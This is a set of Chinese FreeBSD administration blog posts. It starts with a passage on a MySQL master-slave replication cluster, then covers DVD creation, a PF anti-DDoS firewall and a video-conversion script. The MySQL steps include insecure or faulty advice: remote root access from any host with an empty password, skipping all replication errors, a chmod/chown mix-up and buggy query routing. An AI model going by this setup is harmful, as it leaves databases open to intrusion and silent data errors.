　　-–prefix=/app/mysql5 -–with-charset=gb2312

　　说明：MySQL默认的安装目录是/usr/local/mysql，为了增强系统部署的灵活性，紧贴用户应用系统实际情况，可以用—-prefix参数定制安装目录。–with-charset参数是使MySQL数据库支持中文gb2312字符集，如果需要支持其它字符集，使用–with- extra-charset参数，格式为—-with-extra-charset=CHARSET1,CHARSET2, … 。

　　(2). 编译安装MySQL

　　[root@FreebsdMaster /softwares/mysql-5.1.30]# /usr/local/bin/make

　　[root@FreebsdMaster /softwares/mysql-5.1.30]# /usr/local/bin/make install

　　[root@FreebsdMaster /softwares/ mysql-5.1.30]# /usr/local/bin/make clean

　　注意一定要按绝对路径调用GNU C编译器，否则编译过程报错退出。

　　(3). 为系统添加mysql用户组和用户

　　[root@FreebsdMaster /]# pw group add mysql

　　[root@FreebsdMaster /]# adduser

　　FreeBSD系统没有groupadd命令，其添加用户组的命令是pw，添加用户命令adduser按系统提示操作即可完成。当然用 pw user add mysql命令也可以完成添加用户mysql的功能，但不如adduser命令功能完善。

　　(4). 更改/app/mysql5目录及文件属性

　　[root@FreebsdMaster /app]# chmod –R mysql mysql5

　　[root@FreebsdMaster /app]# chgrp –R mysql mysql5

　　说明：/app/mysql5为MySQL数据库系统所在目录，如果用户部署的应用系统数据量极大，可以将数据库系统目录设在大容量磁盘阵列上。磁盘阵列设置与具体机器硬件相关性很大，具体操作设置参考具体硬件系统说明和FreeBSD操作手册。不借助第三方软件，FreeBSD 7.0-Release系统可以配置RAID0、RAID1磁盘阵列。

　　(5). 安装MySQL系统初始数据库

　　[root@FreebsdMaster /softwares/ mysql-5.1.30]# ./scripts/mysql_install_db.sh –basedir=/app/mysql5 –-data-dir=/app/mysql5/data

　　注意：必须考虑Unix系统的文件权限特性，首先给mysql_install_db.sh脚本添加可执行属性，否则安装脚本无法执行。执行chmod +x ./scripts/mysql_install_db.sh命令即可。参数–basedir=/app/mysql5和–datadir=/app /msyql5/data为必加参数，否则脚本运行报错退出，无法安装系统初始数据库mysql和测试数据库test，mysql数据库包含系统权限设置表，没有这些表数据库服务进程mysqld将无法启动。

　　(6). 再次更改/app/mysql5目录及其文件属性

　　[root@FreebsdMaster /app]# chmod –R root mysql5

　　[root@FreebsdMaster /app]# chmod –R mysql mysql5/data

　　这样做是为了保证系统安全，防止通过MySQL系统漏洞的入侵行为。MySQL以mysql用户身份运行，对/data目录具有完全访问权限，对其它目录则只有系统管理员根据需要设置的访问权限，确保FreeBSD系统的安全。这里需要特别提醒用户注意的是要确保mysqld文件(MySQL的守护进程，位于/app/mysql5/libexec目录下)没有设置setuid标志位，如果设置了该标志位，入侵者对其它文件就具有其不应有的权限。具体原因参考关于Unix系统安全的手册，本文对这个问题不再赘述。

　　(7). 启动MySQL服务器

　　上述操作全部完成以后，输入如下命令启动MySQL数据库服务守护进程：

　　[root@FreebsdMaster /]# /app/mysql5/bin/mysqld_safe –user=mysql &

　　–user参数表示以mysql用户身份运行MySQL数据库服务守护进程，“&”符号表示以后台方式运行。输入 netstat –an|grep 3306命令，如果看到下面的输出则表示MySQL5.1.30已在用户系统上编译安装成功。其中，3306是MySQL数据库系统默认的监听端口号。

　　[root@FreebsdMaster /]# netstat –an|grep 3306

　　tcp4 0 0 *.3306 *.* LISTEN

　　按照同样方法与步骤在其它三台机器上安装FreeBSD 7.0-Release与MySQL5.1.30，为下面的MySQL服务器集群配置准备好系统平台基础。

　3.2 系统配置

　　所有系统安装完毕之后，需要对它们做一些必要的配置方可按照用户预先设计的结构模型实现具有负载均衡功能的MySQL服务器集群。

　　3.2.1 FreeBSD操作系统配置

　　(1). 调整内核参数，优化操作系统性能

　　因为是处于生产环境的服务器，投入正常运行之前一定要对内核参数进行必要的调整，提升系统性能，加强稳定性。简要说就是去掉不必要的硬件支持选项，使新内核占用更少的内存，加快启动速度。不同机器硬件系统差异很大，用户可根据具体系统的硬件情况不断调整试验，最终定制出最优化、最安全的FreeBSD系统。一定要屏蔽掉组合键Ctrl+Alt+Del的热重启功能，防止用户误按Ctrl+Alt+Del重启系统，引起数据库系统服务意外中断。在内核配置文件如MYKERNEL中加入：

　　options SC_DISABLE_REBOOT

　　重新编译系统内核，重启后即可屏蔽Ctrl+Alt+Del组合键的热重启功能。如何定制新内核及重新编译FreeBSD系统，用于可参考FreeBSD系统手册，此不赘述。

　　(2). 进行其它设置，增强系统安全性

　　用户可根据以下一般安全准则设置自己的FreeBSD系统。

　　·选择一个好的密码并予以妥善保护。

　　·对于敏感文件采用适当安全等级的加密算法进行加密。对于敏感级别不是很高的文件采用系统自带的crypt工具加密;对于敏感度极高的文件则使用专用加密工具，如PGP、GPG进行不对称加密，提高加密文件的防攻击能力。

　　·仔细设置文件访问权限，达到保护文件目的。

　　·保护好自己的.profile文件。恰当设置.profile文件的访问权限，确保只有自己能访问。

　　·仔细维护已设置setuid或setgid标志位的任何程序。

　　·禁止不加防范地离开已注册终端。任何时候都必须按常规正常退出系统，先执行clear清屏命令，防止其它用户看到操作痕迹，再执行exit命令退出终端。

　　·防范特洛伊木马程序。正确设置PATH变量的检索顺序，确保系统目录位于当前目录的前面。

　　·防范病毒的入侵。

　　·监控最近一次注册时间，确保没有他人盗用自己的帐号。

　　特别提示：对于生产环境的服务器，一定要保证服务器的物理安全，安全措施再完善的系统，一旦被入侵者物理接触，所有的安全措施将形同虚设!

　　Unix系统安全是一个很大的课题，本文只是提及了一些最肤浅的常识，具体内容用户可以参考相关书籍或网上资源。为确保Unix系统的配置具有高度的安全性，可以使用Internet安全中心(Center for Internet Security，CIS)提供的安全测试工具Benchmarks或评估工具Scoring Tools，检验和监控系统配置的安全性 [4]。

　　3.2.2 MySQL数据库系统配置

　　为了能使上述系统实现一对多的主从复制(replication)和冗余机制，还需要对以上四个MySQL服务器进行一些必要的配置。

　　(1). 配置主机名和IP地址

　　本实现方案中把MySQL服务器Master主机名设为FreebsdMaster，IP地址配置为192.168.1.100，其它三台Slave依次设为 FreebsdSlave1，192.168.1.101;FreebsdSlave2，192.168.1.102;FreebsdSlave3，IP 地址192.168.1.103。

　　(2). 设置root用户密码

　　MySQL的root用户初始密码为空，为保证系统安全必须为root用户设置密码：

　　[root@FreebsdMaster /]# /app/mysql5/bin/mysql –uroot –p

　　Enter password:

　　mysql>SET PASSWORD=PASSWORD(‘secret’);

　　同Unix系统一样，输入密码时屏幕没有任何回显，进入系统后执行SET PASSWORD SQL语句设置或修改MySQL root用户密码。为使应用系统服务器远程连接到MySQL数据库服务器，除本地root用户以外，还要设置一个能从用户内部网络其它终端登录的root 用户。具体操作如下：

　　mysql>USE mysql;

　　mysql>UPDATE user SET Host=’%’ WHERE Host=’hostname.yourdomain’ AND User=’root’;

　　mysql>flush privileges;

　　完成上述操作后应用系统服务器就可以连接到MySQL数据库服务器进行各种操作了，这个远程root用户的初始密码为空，用户需要从远程终端登录，为其设置密码。

　　(3). 开启MySQL服务器的二进制更新日志功能

　　上述MySQL服务器安装完成后，安装程序没有生成my.cnf配置文件，为此用户需要手工添加/etc/my.cnf文件。MySQL服务是由 /app/myql5/libexec/mysqld提供的，其寻找my.cnf配置文件的默认顺序为/etc/my.cnf，~/.my.cnf， /usr/local/mysql/etc/my.cnf。启动ee编辑器，# ee /etc/my.cnf，在Master机器的配置文件写入如下内容：

　　[mysqld]

　　log-bin=mysql-master-bin

　　server-id=1

　　在其它三台Slave机器的配置文件/etc/my.cnf文件写入如下内容：

　　[mysqld]

　　server-id=int

　　其中，int为一大于1且互不相等的正整数，如2，3，4等。务必要正确设置每个机器上的/etc/my.cnf配置文件，尤其是server-id不能有重复，这是一对多数据库复制能否成功的关键[5]!

　　设定好上述/etc/my.cnf文件后启动Master上的MySQL数据库服务时就自动开启了二进制更新日志功能。在Slave上启动MySQL时要加上–log-bin参数，即可开启二进制更新日志功能。在Slave机器上启动MySQL服务的命令如下：

　　# /app/mysql5/bin/mysqld_safe –user=mysql –log-bin &

　　这样做的目的为了实现冗余容错功能。当主服务器Master出现故障停止服务时，在预转换角色成为Master的Slave上执行STOP SLAVE; RESET MASTER SQL语句，在其它两台Slave上执行CHANGE MASTER TO SQL语句，执行STOP SLAVE; RESET MASTER SQL语句的Slave服务器即转换成新的Master，其余两台机器则从新的Master复制数据库数据(复制的是更新UPDATE、INSERT等操作，并不是简单的copy)，从而实现冗余容错。

　3.3 系统实现

　　完成上述准备后可以开始实现MySQL数据库的一对多复制，对应用系统的数据库访问代码进行优化，使更新操作UPDATE、INSERT等SQL语句定向到Master服务器，查询检索SELECT语句定向到Slave服务器，从而实现负载均衡; 当主服务器Master出现故障停止服务时，通过服务器角色转换实现冗余容错;上述所有服务器通过高速核心交换机连接在一起，协同工作，提供集群 (Cluster)性能。下面，本文就此举一简例，具体说明实现(Implementation)步骤。

　　3.3.1 准备主服务器

　　(1). 在主服务器上创建示例数据库repl_db

　　从本地或远程终端登录到Master服务器，执行CREATE DATABASE repl_db;语句，创建示例数据库repl_db。建立表repl_table：

　　mysql>CREATE TABLE repl_table (f1 INT, f2 VARCHAR(20)) ;

　　向表中添加数据：

　　mysql>INSERT INTO repl_table (f1, f2) VALUES(1, ‘first’);

　　(2). 授予Slave复制(Replication)权限

　　授予从属服务器Slave进行复制的权限。假设从属服务器连接到主服务器复制的用户名为“repl”，密码为“g00r002b”：

　　mysql>GRANT REPLICATION SLAVE ON *.* TO repl@’%’ IDENTIFIED BY ‘g00r002b’;

　　刷新系统权限表，锁定写入语句操作：

　　mysql>FLUSH TABLES WITH READ LOCK;

　　这时所有写入操作都被锁定，包括支持事务(Transaction)特性的InnoDB类型表的提交(COMMIT)操作也被锁定，为数据库初始复制(copy)做好准备。

　　(3). 简单备份repl_db

　　在此，通过tar命令把数据库初始数据备份到/tmp目录。

　　# tar –cvf /tmp/mysql-data.tar /app/mysql5/data/repl_db

　　(4). 记录主服务器状态

　　执行SHOW MASTER STATUS 语句：

　　mysql> SHOW MASTER STATUS;

　　————————————-+——————+———————–+—————————+

　　+————————————+——————+———————–+————————–+

　　| mysql-master-bin.000001 | 1027 | | |

　　+————————————+——————+———————-+—————————+

　　记下File和Position两个参数的值，从属服务器Slave为了复制(replication)连接到主服务器Master时要用到这两个参数，如果参数与此不符将导致复制(replication)失败!

　　(5). 释放主服务器表级写入锁定

　　mysql>UNLOCK TABLES;

　　至此，主服务器解除写入锁定，一对多复制准备工作已全部完成，准备接受Slave的复制(replication)连接。

　　3.3.2 准备从属服务器

　　(1). 停止从属服务器的MySQL数据库服务

　　# /app/mysql5/bin/mysqladmin –uroot –p shutdown

　　Enter password:

　　输入MySQL系统root用户密码，MySQL服务停止。

　　(2). 简单copy数据库初始数据

　　在从属服务器上执行ftp操作，访问主服务器，下载/tmp/mysql-data.tar文件，在/app/mysql5/data目录下执行如下操作，把初始数据copy到Slave服务器：

　　[root@FreebsdSlave1 /app/mysql5/data]# tar –xvf /tmp/msyql-data.tar

　　其它两台Slave服务器执行同样操作，实现数据库初始数据的简单copy。

　　(3). 重启从属服务器上的MySQL数据库服务

　　# /app/mysql5/bin/mysqld_safe –-user=mysql –-log-bin &

　　从属服务器已启动，同时启动二进制更新日志功能，为角色转换做好准备。

　　(4). 登录到从属服务器Slave的MySQL客户端

　　# /app/mysql/bin/msyql –uroot -p

　　(5). 启动从属服务器上的复制(replication)线程

　　mysql> CHANGE MASTER TO

　　-> MASTER_HOST=’192.168.1.100′,

　　-> MASTER_USER=’repl’,

　　-> MASTER_PASSWORD=’g00r002b’,

　　-> MASTER_LOG_FILE=’ mysql-master-bin.000001′,

　　-> MASTER_LOG_POS=1027;

　　Query OK, 0 rows affected (0.00 sec)

　　mysql> START SLAVE;

　　Query OK, 0 rows affected (0.00 sec)

　　在所有从属服务器上执行相同的操作，自此从属服务器已连接到主服务器，开始真正意义上的replication工作。测试从属服务器的复制工作是否正常：

　　mysql>show slave status\G

　　************************** 1. row ***************************

　　Slave_IO_State: Waiting for master to send event

　　Master_Host: 192.168.1.100

　　Master_User: repl

　　Master_Port: 3306

　　Connect_Retry: 60

　　Master_Log_File: mysql-master-bin.000001

　　Read_Master_Log_Pos: 1027

　　Relay_Log_File: FreebsdSlave1-relay-bin.000005

　　Relay_Log_Pos: 251

　　Relay_Master_Log_File: mysql-master-bin.000001

　　Slave_IO_Running: Yes

　　Slave_SQL_Running: Yes

　　看到上述信息说明从属服务器已启动了与replication相关的线程I/O和SQL，一对多的replication已经开始工作。

　　(6). 功能测试

　　在主服务器上写入新的数据：

　　mysql>INSERT INTO repl_table (f1, f2) VALUES(2, ‘second’);

　　mysql>SELECT * FROM repl_table;

　　+——–+———+

　　| f1 | f2 |

　　+——–+———-+

　　| 1 | first |

　　| 2 | second |

　　+—–=–+———-+

　　2 rows in set (0.01 sec)

　　在Slave上执行相同的查询操作：

　　mysql>SELECT * FROM repl_table;

　　+——–+———+

　　| f1 | f2 |

　　+——–+———-+

　　| 1 | first |

　　| 2 | second |

　　+——–+———-+

　　2 rows in set (0.01 sec)

　　得到相同的查询结果，说明复制(replication)机制已成功开始工作!

　　3.3.3 配置网络DNS服务器

　　在BIND DNS服务器中，为上述三台从属服务器Slave配置同一个名字，客户端的查询检索操作将由DNS服务器定向到其中的一台Slave。因此，对于同一名字，不同的客户端会定向到不同的地址，访问不同的MySQL服务器，从而达到负载均衡的目的。假设用户为三台Slave分配的DNS名字为 mysqlslave.yourdomain，DNS服务器区域文件/var/named/yourdomain.zone中应包含如下数据项[6]：

　　sqlmaster.yourdomain. IN A 192.168.1.100

　　sqlslave1.yourdomain. IN A 192.168.1.101

　　sqlslave2.yourdomain. IN A 192.168.1.102

　　sqlslave3.yourdomain. IN A 192.168.1.103

　　sqlslave IN CNAME sqlslave1

　　sqlslave IN CNAME sqlslave2

　　sqlslave IN CNAME sqlslave3

　　当客户端进行查询操作时，提交给主机sqlslave.yourdomain的请求将由DNS服务器随机定向到三台Slave中的一台，由其执行查询作业，返回结果。从而在三台Slave之间实现查询级别的负载均衡。

　　3.3.4 应用系统程序代码优化

　　实际应用中，对数据库的写入操作相对查询操作少得多，因此，优化应用程序的数据库连接代码，把写入操作定向到Master服务器，查询操作定向到 Slave服务器，提供主服务器和从属服务器之间更新、查询的负载均衡功能。本文以PHP数据库连接代码为例，简要介绍代码优化方法[7]。

　　(1). 准备不同的数据库连接配置文件

　　准备两个数据库连接文件mysql_connect_master.php和mysql_connect_slave.php，其文件内容如下：

　　mysql_connect_master.php文件的内容：

　　// Connect to the Database Server

　　$linkID = @mysql_connect(“sqlmaster.yourdomain”, “user”, “password”) or die(“Sorry, could not connect to the database!”);

　　// Select the Database

　　@mysql_select_db(“repl_db”) or die(“Sorry, Could not select database!”);

　　mysql_connect_slave.php文件的内容：

　　// Connect to the Database Server

　　$linkID = @mysql_connect(“sqlslave.yourdomain”, “user”, “password”) or die(“Sorry, could not connect to the database!”);

　　// Select the Database

　　@mysql_select_db(“repl_db”) or die(“Sorry, Could not select database!”);

　　?>

　　(2). 优化程序SQL语句代码

　　对应用程序中访问数据库的代码段做出如下优化：

　　…

　　// $sql is the query string to be committed to MySQL server.

　　if ( stripos( $sql, ” SELECT” ) )

　　{

　　include_once(“./mysql_connect_slave.php”);

　　…

　　mysql_close();

　　}

　　else

　　{

　　include_once(“./mysql_connect_master.php”);

　　…

　　mysql_close();

　　}

　　…

　　说明：每当向MySQL服务器提交数据库操作时，加入一个if-else判断语句对变量$sql进行判断定向，如果是SELECT查询操作，将其定向到从属服务器Slave中的一个;如果是其它更新语句，则将其定向到主服务器Master。此处代码段是应用系统实现负载均衡的关键，用户务必根据自己实际情况，写出准确无误的代码。每次对数据库操作完毕都要及时释放数据库连接，以免更新、查询操作分别定向失败，影响系统负载均衡功能。这样做虽然在一定程度上增加Web服务器或应用服务器的开销，但与MySQL服务器集群负载均衡功能带来的大幅性能提升及冗余容错特性相比，这个开销绝对是物超所值!

　　3.4 注意事项

　　正确部署实现具有负载均衡功能的MySQL服务器集群必须注意以下事项：

　　(1). MySQL数据库复制(replication)特性是核心

　　此处的复制不是简单的copy，从属服务器启动两个线程(thread)：I/O线程和SQL线程，I/O线程接收主服务器对参与复制数据库的更新操作事件(event)，并记入自己的中继二进制更新日志文件(hostname-relay-bin.00000n)，由SQL线程将更新操作写入自己的数据库表项。主从服务器之间复制的不是具体的数据内容，而是具体的以二进制格式记录的操作事件，因而在一定程度上实现主从服务器之间的数据同步。(这种复制类似于生物学意义上的按基因复制，在英语中replication的主要词义就是指该种复制。)

　　(2). 复制的复杂性

　　主从数据库服务器间的replication要求Master与Slave上的MySQL版本最好一致，主从服务器必须设置相同的字符集，否则很容易造成复制失败。主服务器上更新权限表内容的FLUSH语句不会被复制[8]。

　　(3). 按照范式化要求设计数据库

　　生产环境下基于MySQL服务器的应用系统要想稳定运行，按范式化设计系统数据库是基本要求，具体内容可参考相关书籍。

　　(4). 打开数据库服务器的远程用户连接功能

　　打开主从服务器的远程用户连接是实现更新、查询操作分别定向的必要条件，否则，来自应用服务器的连接请求失败，影响系统应用正常运行。

　　(5). 负载均衡功能的实现需要良好的团队合作

　　BIND DNS服务器实现了从属服务器Slave之间的负载均衡，Slave和Master之间的负载均衡则由应用系统开发人员在程序代码级实现。整个系统的性能提升和冗余容错需要网络管理和应用系统开发团队之间的良好合作，否则负载均衡功能的实现就会失败。

4. 常见问题

　　(1). 如何估算MySQL服务器集群的性能提升量?

　　针对本文采用的结构模式，可对应用系统整体性能提升做出大致估算。假设应用系统写操作占10%，读操作占90%，写操作耗时是读操作的2倍，系统的吞吐量(throughput)为T(用reads/s读操作次数/秒来衡量)。把写操作线性转换为读操作，则有：

　　T= 2Xwrites + 9Xwrites ==>writes=T/11① (不采用主从复制模式，读写操作集中到一个服务器上)

　　T= 2Xwrites + 9Xwrites/N ==> writes=T/(2+9/N)② (采用一对多的主从复制模式，读操作在从属服务器，写操作在主服务器)

　　其中，writes为系统单位时间内所能承受的最大写操作次数，N为从属服务器个数，N大于等于2。在不采用主从复制模式时，系统性能 writes=T/11;采用本文一对三的复制模式时，系统性能writes=T/5。采用负载均衡模式与不采用系统性能之比为11：5，即2.2：1，考虑到应用服务器的额外开销，系统整体性能提升了整整1倍!从②式可以看出，系统整体性能理论极限为T/2，当然在实际生产环境中不可能达到。具体部署时用户可以根据自己的实际情况估算出合理的从属服务器数量，主要影响因素是网络带宽和机器整体性能[9]。

　　(2). 如何应对主从服务器崩溃?

　　当某台从属服务器崩溃时，修复故障重启后重新连接到主服务器，根据其master.info文件更新其数据，保持与主服务器的数据同步。如果主服务器崩溃，在某一从属服务器上执行STOP SLAVES; GRANT REPLICATION SLAVE ON *.* repl_db TO ‘repl’@’%’ IDENTIFIED BY ‘g00r002b’;RESET MASTER;这三个SQL语句，由于从属服务器已启动了二进制更新日志功能，因此具备了角色转换的必要条件。更改其主机名、IP地址及server- id与Master一样，重启MySQL服务器，系统开始正常对外提供服务。其它两台从属服务器则不需执行任何操作，继续执行replication过程。BIND DNS服务器和应用程序也不需做任何调整，继续对系统用户提供不间断服务。主服务器排除故障恢复正常后，将其网络配置改为与现有Master转换角色之前一样的配置，重启MySQL服务，将其角色转换为从属服务器。也就是说，整个集群机器的角色可以相互循环转换，提高系统的冗余性和可靠性。在此需要注意的是，在应用系统调试运行正常之后，在Slave角色服务器的/etc/my.cnf文件[mysqld]段加入slave-skip- errors=all，保证集群之间复制(replication)的正常运行。

　　5. 结束语

　　部署与实现具有负载均衡功能的MySQL服务器集群是一项复杂的系统工程，需要多方面良好的协同合作才能做好。服务器的搭建配置、BIND DNS服务器的配置部署，以及应用系统程序的开发都要紧紧围绕实现MySQL服务器集群负载均衡功能这个目标。必须对主服务器的运行状态进行动态监控，如果发生故障，立即执行角色转换过程，确保为终端用户提供可靠、不间断的服务。可以针对具体系统环境写出监控脚本或程序，确保系统的可靠性与稳定性。

如何制作freebsd7的DVD安装盘

admin — Fri, 22 May 2009 10:31:15 +0000

发现网上流传的Windows下的制作FreeBSD DVD安装盘都不正确，原因很简单，光盘中packages/子目录中的软件包都失去了指向../All/*的链接，只好试着在FreeBSD下作了一张，可行，搞定，现记录过程如下：

在VMware下安装FreeBSD，标准化最小安装，安装包：
sysutils/dvd+rw-tools（其中包含mkisofs、growisofs），其它工具（tar,mount,mdconfig）系统自带。
将FreeBSD7的几个ISO文件cp进vmware，如：/work/fbd7目录，开始命令:
su
cd /work/fbd7
mdconfig -a -f 7.0-RELEASE-i386-docs.iso
mount -t cd9660 /dev/md0 /mnt
tar -C /mnt -cf – . | tar -xf –
umount /mnt
mdconfig -d -u 0

mdconfig -a -f 7.0-RELEASE-i386-disk3.iso
mount -t cd9660 /dev/md0 /mnt
tar -C /mnt -cf – . | tar -xf –
umount /mnt
mdconfig -d -u 0

mdconfig -a -f 7.0-RELEASE-i386-disk2.iso
mount -t cd9660 /dev/md0 /mnt
tar -C /mnt -cf – . | tar -xf –
umount /mnt
mdconfig -d -u 0

mdconfig -a -f 7.0-RELEASE-i386-disk1.iso
mount -t cd9660 /dev/md0 /mnt
tar -C /mnt -cf – . | tar -xf –
umount /mnt
mdconfig -d -u 0
———————————
检查/work/fbd7/cdrom.inf
如按以上顺序，cdrom.inf中应为：
CD_VERSION = 7.0-RELEASE
CD_VOLUME = 1
———————————

cd packages
cat INDEX | sed “s/|3/|1/g” > ix
cat ix | sed “s/|2/|1/g” > ixx
mv ixx INDEX
rm ix
cd ..
rm -r /work/fbd7/rr_moved（这是docs光盘的目录，这里不需要，生成ISO时会自动生成）
将原来的几个iso移到其它目录
mkdir /work/iso
mv /work/fbd7/*.iso /work/iso

生成DVD ISO文件：
mkisofs -R -no-emul-boot -b boot/cdboot -iso-level 3 -o /work/FreeBSD7_DVD.iso /work/fbd7
或直接刻录成DVD：
growisofs –Z /dev/cd0 –speed 16 –no-amul-boot –b boot/cdboot –iso-level 3 /work/fbd7

OK，完成。检查制作出的DVD，经测试：链接正常，sysinstall可认，其它各种应用正常。

FREEBSD+PF 在6.2上的架设放DDOS 攻击的网站

admin — Wed, 20 May 2009 06:13:36 +0000

现网站和外挂经常带arp和ddos攻击,本来用ros做网吧路由器顶不住ddos，只能换FB6.2+pf,前几天用FB6.2+PF，人多时出watchdog timeout,下面是安装步骤，操作一个写一个，

cd /usr/src/sys/i386/conf
cp GERENIC PFOK
ee FFOK

修改并加入下面东东

ident PFOK
device pf
device pflog
device pfsync
options ALTQ
options ALTQ_CBQ
options ALTQ_RED
options ALTQ_RIO
options ALTQ_HFSC
options ALTQ_PRIQ
options ALTQ_NOPCC
options PANIC_REBOOT_WAIT_TIME=0
options DEVICE_POLLING
options HZ=2000
options IPSTEALTH
# options RANDOM_IP_ID
options TCP_DROP_SYNFIN

config PFOK
cd /usr/src/sys/i386/compile/PFOK
make depend
make
make install
reboot

ee /etc/sysctl.conf
net.inet.ip.forwarding=1
net.inet.ip.fastforwarding=1
net.inet.tcp.drop_synfin=1
net.inet.tcp.sendspace=65536
net.inet.tcp.recvspace=65536
#net.inet.udp.sendspace=65535
net.inet.udp.maxdgram=65535
net.local.stream.sendspace=65535
net.inet.tcp.rfc1323=1
#net.inet.tcp.rfc1644=1
net.inet.tcp.rfc3042=1
net.inet.tcp.rfc3390=1
kern.ipc.maxsockbuf=2097152
kern.maxfiles=65536
kern.maxfilesperproc=32768
kern.polling.enable=1
kern.polling.burst_max=500
kern.ipc.somaxconn=2048
kern.ipc.nmbclusters=32768
net.inet.tcp.delayed_ack=0
net.inet.icmp.icmplim=100
net.inet.icmp.icmplim_output=0
net.inet.tcp.drop_synfin=1

ee /boot/loader.conf
autobootdelay=”2″

ee /etc/rc.conf
sendmail_enable=”NONE”
sendmail_submit_enable=”NO”
sendmail_outbound_enable=”NO”
sendmail_msp_queue_enable=”NO”
clear_tmp_enable=”YES”
update_motd=”NO”
tcp_drop_synfin=”YES”
#icmp_drop_redirect=”YES”
#icmp_log_redirect=”YES”
#log_in_vain=”YES”
#accounting_enable=”YES”
pf_enable=”YES”
pf_rules=”/etc/pf.conf”
pf_flags=”"
#pflog_enable=”YES”
#pflog_logfile=”/var/log/pflog”

这里我就加了句pf_enable=”YES”

uname -a
FreeBSD pf.com 6.2-RC1 FreeBSD 6.2-RC1 #0: Thu Nov 23 04:20:46 CST 2006 sshpf@pf.com:/usr/src/sys/i386/compile/PFOK i386

我的pf.conf

#pfctl -e -F all -f /etc/pf.conf

#只重新load过滤规则
#pfctl -F rules -Rf /etc/pf.conf

#pfctl -f /etc/pf.conf # 重新加载pf.conf 设定档
#pfctl -nf /etc/pf.conf # 确认语法有无符合，但不载入
#pfctl -Nf /etc/pf.conf # 只加载 NAT 的设定档
#pfctl -Rf /etc/pf.conf # 只加载防火墙的过滤设定档

#pfctl -sn # 显示现阶段 NAT 的规则
#pfctl -sr # 显示现阶段过滤的规则
#pfctl -ss # 显示现阶段封包运作状态
#pfctl -si # 显示现阶段过滤封包的统计资料
#pfctl -sa # 显示现阶段所有统计的数据

ext_if=”rl0″
#edu_if=”"
int_if=”fxp0″

ext_addr=”192.168.1.51″

int_net=”172.16.0.0/16″
ext_net = “192.168.0.0/16″
loop = “{lo0, 127.0.0.1}”
OpenPorts = “{21, 22, 80, 88, 4899}”
InsideManagerIPs = “{172.16.0.100}”
InsiteManagerOpenPorts = “{21, 22, 23, 24, 25, 80, 4899}”
priv_nets = “{ 127.0.0.0/8, 192.168.0.0/16, 172.16.0.0/12}” # 定義符合 RFC 1918 私有IP 部份
tcp_services = “{ 22, 88, 4899, 123 }” # 定義 port 22, 113 服務
icmp_types = “echoreq” # 定義 tcmp 回應狀態

## down inactive connection quickly
set optimization aggressive

# Normalization: reassemble fragments and resolve or reduce traffic ambiguities.
scrub in all

nat on $ext_if from $int_net to any -> ($ext_if)
#nat on $ext_if from $int_net to $ext_net -> ($ext_if)

#web server map
#rdr pass on $ext_if proto tcp from any to $ext_if port {www,3389,4899,7745} -> $web_server

#—————————-以下防DOS攻击——————————–
#每个IP最大可以有120个非并发的连接（为局域网用户访问本站考虑）
#每个IP最大连接建立的速率小于每秒8个
#单个IP的最大持续连接数 30
#违反以上规则，把这个ip添加到表中
table persist #维持一个持续的表
block in quick from #阻止表中的ip
pass in on $int_if inet proto tcp from any to $int_if flags S/SA keep state \
(source-track rule,max-src-conn 100, max-src-conn-rate 15/3,max-src-states 30,overload flush, src.track 1)

LSassVirusPort = “{445, 135, 139, 593, 512, 5554, 9996, 9995}”
block quick on $int_if inet proto tcp from any to any port $LSassVirusPort

BitTorrentPort= “{ 512, 2049, 4662, 6880, 6881, 6882, 6883, 6884, 6885, 6886, 6887, 6888, 6889, \
6890, 8880, 8881, 8882, 8883, 8884, 8885, 8886, 8887, 8888, 8889, 8890, 6969, 10700, 21881}”
block quick on $int_if inet proto tcp from any to any port $BitTorrentPort
block quick on $int_if inet proto tcp from any port $BitTorrentPort to any
block quick on $ext_if inet proto tcp from any to any port $BitTorrentPort
block quick on $ext_if inet proto tcp from any port $BitTorrentPort to any

#gameClientPorts = “{4002, 2000, 3838, 4410, 4210, 4230, 5005, 4290, 10010 }”
#GameDenyClients =”{192.168.128.0/24, 192.168.132.0/24}”
#GameServerIps = “{204.251.15.167, 61.152.93.145}”
#block quick on $int_if inet proto tcp from $GameDenyClients to any port $gameClientPorts
#block quick on $ext_if from $GameServerIps to $GameDenyClients
#block quick on $int_if from $GameDenyClients to $GameServerIps

denyserverips = “{202.108.193.21}”
block quick on $int_if from any to $denyserverips

#LSassVirusIp =”{192.168.1.194}”
#block quick on $int_if from $LSassVirusIp to any

freebsd 播客安装教程(附带mencoder　转换)

admin — Wed, 20 May 2009 06:11:34 +0000

操作系统为freebsd6.2,更新你的ports

一、视频转换

1、主要是安装ffmpeg，我们选择ports下的ffmpeg-devel，要在make上加几个参数，不然的话，转制的会没有声音
先安装　ffmpeg　

　cd　/usr/ports/multimedia/ffmpeg
　　ports　安装ffmpeg-devel　在

cd /usr/ports/multimedia/ffmpeg-devel

make WITH_X264=yes WITH_XVID=yes WITH_DTS=yes WITH_LAME=yes
　　这个花费时间比较长
　　make install

　如果要想使用mencoder转换的话，要装mplayer 　不过mencoder　不能截图。还得使用ffmpeg　
　cd　/usr/ports/multimedia/mplayer
　make　config　要是支持rmvb,rm　的话要选那个realplayer

make install

2、安装bash，主要是为convert脚本的使用，那个脚本是用bash写的,也可以不安装把/usr/local/bin/bash　改为/bin/sh
　　cd　/usr/ports/shell/bash
3、convert脚本
给convert加上执行权限，convert内容为
修改SiteRoot　为你supesite的目录
引用:

#!/usr/local/bin/bash
Extension=”mpg 3gp mov mpeg vod mp4 m4v avi wmv”
SiteRoot=”/usr/local/www/data”
for e in $Extension; do
FullFiles=`find $SiteRoot/video/temp -name “*.$e” -exec ls {} \;`
for FullFile in $FullFiles;do
if [ -f $FullFile ];then
a=`basename $FullFile | awk -F “.” ‘{print $1}’`
b=`echo $a | cut -d_ -f 2 | cut -c-6`
if [ !-d $SiteRoot/video/$b ]; then
mkdir $SiteRoot/video/$b
chown -R www:www $SiteRoot/video/$b
fi
#ffmpeg 转换
ffmpeg -i $FullFile -y -ab 56 -ar 11025 -ac 2 -qscale 9 -t 900 -r 15 -s 320*240 $SiteRoot/video/$b/$a.flv
#mencoder 转换
#mencoder “$FullFile” -o “$SiteRoot/video/$b/$a.flv” -of lavf -lavfopts i_certify_that_my_video_stream_does_not_use_
b_frames -oac mp3lame -lameopts abr:br=56 -ovc lavc -lavcopts vcodec=flv:vbitrate=500:mbd=2:mv0:trell:v4mv:cbp:last_pred=3:dia=4:cmp
=6:vb_strategy=1 -vf scale=512:-3 -ofps 12 -srate 22050

chown www:www $SiteRoot/video/$b/$a.flv
